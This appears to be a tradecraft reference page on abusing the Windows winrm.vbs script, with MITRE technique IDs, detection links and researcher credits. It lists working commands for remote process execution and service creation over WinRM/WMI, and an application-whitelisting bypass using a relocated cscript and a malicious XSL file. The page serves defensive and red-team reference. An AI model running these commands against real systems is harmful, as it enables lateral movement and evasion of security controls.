01 / TRADECRAFT
3 examplesCommand reference
Execute2
EXAMPLE 01T1216
Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol
COMMAND
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985EXAMPLE 02T1216
Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol
COMMAND
winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="{CMD}"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985AWL Bypass1
EXAMPLE 01T1220
Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.
COMMAND
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty02 / ON DISK
Known paths
C:\Windows\System32\winrm.vbsC:\Windows\SysWOW64\winrm.vbs03 / DEFENSIVE INTELLIGENCE
4 resourcesDetection & indicators
REFERENCE IMPLEMENTATIONS
Code samples
FURTHER READING
Research & resources
- READwindows operating system archaeologywww.slideshare.net
- READwatchwww.youtube.com
- READwindows operating system archaeologygithub.com
- READlateral movement winrm wmiredcanary.com
- READResearch by @bohopstwitter.com
- READapplication whitelisting bypass and arbitrary unsigned code execution technique in winrm vbs c8c24fb40404posts.specterops.io
- READwp windows management instrumentation.pdfwww.fireeye.com
COMMUNITY RESEARCH
Acknowledgements
Matt Graeber@mattifestation
Matt Nelson@enigma0x3
Casey Smith@subtee
Jimmy@bohops
Red Canary Company cc Tony Lambert@redcanaryco